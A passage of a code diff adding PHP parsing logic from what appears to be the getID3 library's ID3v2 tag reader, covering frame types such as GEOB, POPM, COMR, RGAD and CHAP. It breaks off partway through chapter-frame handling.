+							$this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)');
+							unset($parsedFrame['data']);
+							break;
+						}
+*/
+					} elseif (is_string($this->getid3->option_save_attachments)) {
+						$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
+						if (!is_dir($dir) || !getID3::is_writable($dir)) {
+							// cannot write, skip
+							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)');
+							unset($parsedFrame['data']);
+							break;
+						}
+					}
+					// if we get this far, must be OK
+					if (is_string($this->getid3->option_save_attachments)) {
+						$destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset;
+						if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) {
+							file_put_contents($destination_filename, $parsedFrame['data']);
+						} else {
+							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)');
+						}
+						$parsedFrame['data_filename'] = $destination_filename;
+						unset($parsedFrame['data']);
+					} else {
+						if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+							if (!isset($info['id3v2']['comments']['picture'])) {
+								$info['id3v2']['comments']['picture'] = array();
+							}
+							$comments_picture_data = array();
+							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
+								if (isset($parsedFrame[$picture_key])) {
+									$comments_picture_data[$picture_key] = $parsedFrame[$picture_key];
+								}
+							}
+							$info['id3v2']['comments']['picture'][] = $comments_picture_data;
+							unset($comments_picture_data);
+						}
+					}
+				} while (false);
+			}
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15  GEOB General encapsulated object
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) {     // 4.16  GEO  General encapsulated object
+			//   There may be more than one 'GEOB' frame in each tag,
+			//   but only one with the same content descriptor
+			// <Header for 'General encapsulated object', ID: 'GEOB'>
+			// Text encoding          $xx
+			// MIME type              <text string> $00
+			// Filename               <text string according to encoding> $00 (00)
+			// Content description    <text string according to encoding> $00 (00)
+			// Encapsulated object    <binary data>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+				$frame_textencoding_terminator = "\x00";
+			}
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_mimetype) === 0) {
+				$frame_mimetype = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_filename) === 0) {
+				$frame_filename = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
+				// if description only contains a BOM or terminator then make it blank
+				$frame_description = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);
+
+			$parsedFrame['objectdata']  = (string) substr($parsedFrame['data'], $frame_offset);
+			$parsedFrame['encodingid']  = $frame_textencoding;
+			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['mime']        = $frame_mimetype;
+			$parsedFrame['filename']    = $frame_filename;
+			$parsedFrame['description'] = $frame_description;
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16  PCNT Play counter
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) {     // 4.17  CNT  Play counter
+			//   There may only be one 'PCNT' frame in each tag.
+			//   When the counter reaches all one's, one byte is inserted in
+			//   front of the counter thus making the counter eight bits bigger
+			// <Header for 'Play counter', ID: 'PCNT'>
+			// Counter        $xx xx xx xx (xx ...)
+
+			$parsedFrame['data']          = getid3_lib::BigEndian2Int($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17  POPM Popularimeter
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) {    // 4.18  POP  Popularimeter
+			//   There may be more than one 'POPM' frame in each tag,
+			//   but only one with the same email address
+			// <Header for 'Popularimeter', ID: 'POPM'>
+			// Email to user   <text string> $00
+			// Rating          $xx
+			// Counter         $xx xx xx xx (xx ...)
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_emailaddress) === 0) {
+				$frame_emailaddress = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+			$frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
+			$parsedFrame['email']   = $frame_emailaddress;
+			$parsedFrame['rating']  = $frame_rating;
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18  RBUF Recommended buffer size
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) {     // 4.19  BUF  Recommended buffer size
+			//   There may only be one 'RBUF' frame in each tag
+			// <Header for 'Recommended buffer size', ID: 'RBUF'>
+			// Buffer size               $xx xx xx
+			// Embedded info flag        %0000000x
+			// Offset to next tag        $xx xx xx xx
+
+			$frame_offset = 0;
+			$parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3));
+			$frame_offset += 3;
+
+			$frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1);
+			$parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20  Encrypted meta frame (ID3v2.2 only)
+			//   There may be more than one 'CRM' frame in a tag,
+			//   but only one with the same 'owner identifier'
+			// <Header for 'Encrypted meta frame', ID: 'CRM'>
+			// Owner identifier      <textstring> $00 (00)
+			// Content/explanation   <textstring> $00 (00)
+			// Encrypted datablock   <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
+				// if description only contains a BOM or terminator then make it blank
+				$frame_description = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['ownerid']     = $frame_ownerid;
+			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);
+			$parsedFrame['description'] = $frame_description;
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19  AENC Audio encryption
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) {     // 4.21  CRA  Audio encryption
+			//   There may be more than one 'AENC' frames in a tag,
+			//   but only one with the same 'Owner identifier'
+			// <Header for 'Audio encryption', ID: 'AENC'>
+			// Owner identifier   <text string> $00
+			// Preview start      $xx xx
+			// Preview length     $xx xx
+			// Encryption info    <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_ownerid) === 0) {
+				$frame_ownerid = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+			$parsedFrame['ownerid'] = $frame_ownerid;
+			$parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset);
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20  LINK Linked information
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) {    // 4.22  LNK  Linked information
+			//   There may be more than one 'LINK' frame in a tag,
+			//   but only one with the same contents
+			// <Header for 'Linked information', ID: 'LINK'>
+			// ID3v2.3+ => Frame identifier   $xx xx xx xx
+			// ID3v2.2  => Frame identifier   $xx xx xx
+			// URL                            <text string> $00
+			// ID and additional data         <text string(s)>
+
+			$frame_offset = 0;
+			if ($id3v2_majorversion == 2) {
+				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3);
+				$frame_offset += 3;
+			} else {
+				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4);
+				$frame_offset += 4;
+			}
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_url) === 0) {
+				$frame_url = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+			$parsedFrame['url'] = $frame_url;
+
+			$parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset);
+			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21  POSS Position synchronisation frame (ID3v2.3+ only)
+			//   There may only be one 'POSS' frame in each tag
+			// <Head for 'Position synchronisation', ID: 'POSS'>
+			// Time stamp format         $xx
+			// Position                  $xx (xx ...)
+
+			$frame_offset = 0;
+			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['position']        = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22  USER Terms of use (ID3v2.3+ only)
+			//   There may be more than one 'Terms of use' frame in a tag,
+			//   but only one with the same 'Language'
+			// <Header for 'Terms of use frame', ID: 'USER'>
+			// Text encoding        $xx
+			// Language             $xx xx xx
+			// The actual text      <text string according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+			}
+			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
+			$frame_offset += 3;
+			$parsedFrame['language']     = $frame_language;
+			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
+			$parsedFrame['encodingid']   = $frame_textencoding;
+			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23  OWNE Ownership frame (ID3v2.3+ only)
+			//   There may only be one 'OWNE' frame in a tag
+			// <Header for 'Ownership frame', ID: 'OWNE'>
+			// Text encoding     $xx
+			// Price paid        <text string> $00
+			// Date of purch.    <text string>
+			// Seller            <text string according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+			}
+			$parsedFrame['encodingid'] = $frame_textencoding;
+			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3);
+			$parsedFrame['pricepaid']['currency']   = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']);
+			$parsedFrame['pricepaid']['value']      = substr($frame_pricepaid, 3);
+
+			$parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8);
+			if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) {
+				$parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4));
+			}
+			$frame_offset += 8;
+
+			$parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset);
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24  COMR Commercial frame (ID3v2.3+ only)
+			//   There may be more than one 'commercial frame' in a tag,
+			//   but no two may be identical
+			// <Header for 'Commercial frame', ID: 'COMR'>
+			// Text encoding      $xx
+			// Price string       <text string> $00
+			// Valid until        <text string>
+			// Contact URL        <text string> $00
+			// Received as        $xx
+			// Name of seller     <text string according to encoding> $00 (00)
+			// Description        <text string according to encoding> $00 (00)
+			// Picture MIME type  <string> $00
+			// Seller logo        <binary data>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+				$frame_textencoding_terminator = "\x00";
+			}
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+			$frame_rawpricearray = explode('/', $frame_pricestring);
+			foreach ($frame_rawpricearray as $key => $val) {
+				$frame_currencyid = substr($val, 0, 3);
+				$parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid);
+				$parsedFrame['price'][$frame_currencyid]['value']    = substr($val, 3);
+			}
+
+			$frame_datestring = substr($parsedFrame['data'], $frame_offset, 8);
+			$frame_offset += 8;
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_sellername) === 0) {
+				$frame_sellername = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
+				// if description only contains a BOM or terminator then make it blank
+				$frame_description = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$frame_sellerlogo = substr($parsedFrame['data'], $frame_offset);
+
+			$parsedFrame['encodingid']        = $frame_textencoding;
+			$parsedFrame['encoding']          = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['pricevaliduntil']   = $frame_datestring;
+			$parsedFrame['contacturl']        = $frame_contacturl;
+			$parsedFrame['receivedasid']      = $frame_receivedasid;
+			$parsedFrame['receivedas']        = $this->COMRReceivedAsLookup($frame_receivedasid);
+			$parsedFrame['sellername']        = $frame_sellername;
+			$parsedFrame['description']       = $frame_description;
+			$parsedFrame['mime']              = $frame_mimetype;
+			$parsedFrame['logo']              = $frame_sellerlogo;
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25  ENCR Encryption method registration (ID3v2.3+ only)
+			//   There may be several 'ENCR' frames in a tag,
+			//   but only one containing the same symbol
+			//   and only one containing the same owner identifier
+			// <Header for 'Encryption method registration', ID: 'ENCR'>
+			// Owner identifier    <text string> $00
+			// Method symbol       $xx
+			// Encryption data     <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_ownerid) === 0) {
+				$frame_ownerid = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['ownerid']      = $frame_ownerid;
+			$parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26  GRID Group identification registration (ID3v2.3+ only)
+
+			//   There may be several 'GRID' frames in a tag,
+			//   but only one containing the same symbol
+			//   and only one containing the same owner identifier
+			// <Header for 'Group ID registration', ID: 'GRID'>
+			// Owner identifier      <text string> $00
+			// Group symbol          $xx
+			// Group dependent data  <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_ownerid) === 0) {
+				$frame_ownerid = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['ownerid']       = $frame_ownerid;
+			$parsedFrame['groupsymbol']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['data']          = (string) substr($parsedFrame['data'], $frame_offset);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27  PRIV Private frame (ID3v2.3+ only)
+			//   The tag may contain more than one 'PRIV' frame
+			//   but only with different contents
+			// <Header for 'Private frame', ID: 'PRIV'>
+			// Owner identifier      <text string> $00
+			// The private data      <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_ownerid) === 0) {
+				$frame_ownerid = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['ownerid'] = $frame_ownerid;
+			$parsedFrame['data']    = (string) substr($parsedFrame['data'], $frame_offset);
+
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28  SIGN Signature frame (ID3v2.4+ only)
+			//   There may be more than one 'signature frame' in a tag,
+			//   but no two may be identical
+			// <Header for 'Signature frame', ID: 'SIGN'>
+			// Group symbol      $xx
+			// Signature         <binary data>
+
+			$frame_offset = 0;
+			$parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);
+
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29  SEEK Seek frame (ID3v2.4+ only)
+			//   There may only be one 'seek frame' in a tag
+			// <Header for 'Seek frame', ID: 'SEEK'>
+			// Minimum offset to next tag       $xx xx xx xx
+
+			$frame_offset = 0;
+			$parsedFrame['data']          = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30  ASPI Audio seek point index (ID3v2.4+ only)
+			//   There may only be one 'audio seek point index' frame in a tag
+			// <Header for 'Seek Point Index', ID: 'ASPI'>
+			// Indexed data start (S)         $xx xx xx xx
+			// Indexed data length (L)        $xx xx xx xx
+			// Number of index points (N)     $xx xx
+			// Bits per index point (b)       $xx
+			//   Then for every index point the following data is included:
+			// Fraction at index (Fi)          $xx (xx)
+
+			$frame_offset = 0;
+			$parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			$frame_offset += 4;
+			$parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			$frame_offset += 4;
+			$parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8);
+			for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) {
+				$parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint));
+				$frame_offset += $frame_bytesperpoint;
+			}
+			unset($parsedFrame['data']);
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment
+			// http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
+			//   There may only be one 'RGAD' frame in a tag
+			// <Header for 'Replay Gain Adjustment', ID: 'RGAD'>
+			// Peak Amplitude                      $xx $xx $xx $xx
+			// Radio Replay Gain Adjustment        %aaabbbcd %dddddddd
+			// Audiophile Replay Gain Adjustment   %aaabbbcd %dddddddd
+			//   a - name code
+			//   b - originator code
+			//   c - sign bit
+			//   d - replay gain adjustment
+
+			$frame_offset = 0;
+			$parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4));
+			$frame_offset += 4;
+			$rg_track_adjustment = getid3_lib::Dec2Bin(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$rg_album_adjustment = getid3_lib::Dec2Bin(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['raw']['track']['name']       = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 0, 3));
+			$parsedFrame['raw']['track']['originator'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 3, 3));
+			$parsedFrame['raw']['track']['signbit']    = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 6, 1));
+			$parsedFrame['raw']['track']['adjustment'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 7, 9));
+			$parsedFrame['raw']['album']['name']       = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 0, 3));
+			$parsedFrame['raw']['album']['originator'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 3, 3));
+			$parsedFrame['raw']['album']['signbit']    = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 6, 1));
+			$parsedFrame['raw']['album']['adjustment'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 7, 9));
+			$parsedFrame['track']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']);
+			$parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']);
+			$parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']);
+			$parsedFrame['album']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']);
+			$parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']);
+			$parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']);
+
+			$info['replay_gain']['track']['peak']       = $parsedFrame['peakamplitude'];
+			$info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator'];
+			$info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment'];
+			$info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator'];
+			$info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment'];
+
+			unset($parsedFrame['data']);
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only)
+			// http://id3.org/id3v2-chapters-1.0
+			// <ID3v2.3 or ID3v2.4 frame header, ID: "CHAP">           (10 bytes)
+			// Element ID      <text string> $00
+			// Start time      $xx xx xx xx
+			// End time        $xx xx xx xx
+            // Start offset    $xx xx xx xx
+            // End offset      $xx xx xx xx
+            // <Optional embedded sub-frames>
+
+			$frame_offset = 0;
+			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
+			$frame_offset += strlen($parsedFrame['element_id']."\x00");
+			$parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			$frame_offset += 4;
+			$parsedFrame['time_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			$frame_offset += 4;
+			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
+				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
+				$parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			}
+			$frame_offset += 4;
+			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
+				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
+				$parsedFrame['offset_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			}
+			$frame_offset += 4;
+
+			if ($frame_offset < strlen($parsedFrame['data'])) {
+				$parsedFrame['subframes'] = array();
+				while ($frame_offset < strlen($parsedFrame['data'])) {
+					// <Optional embedded sub-frames>
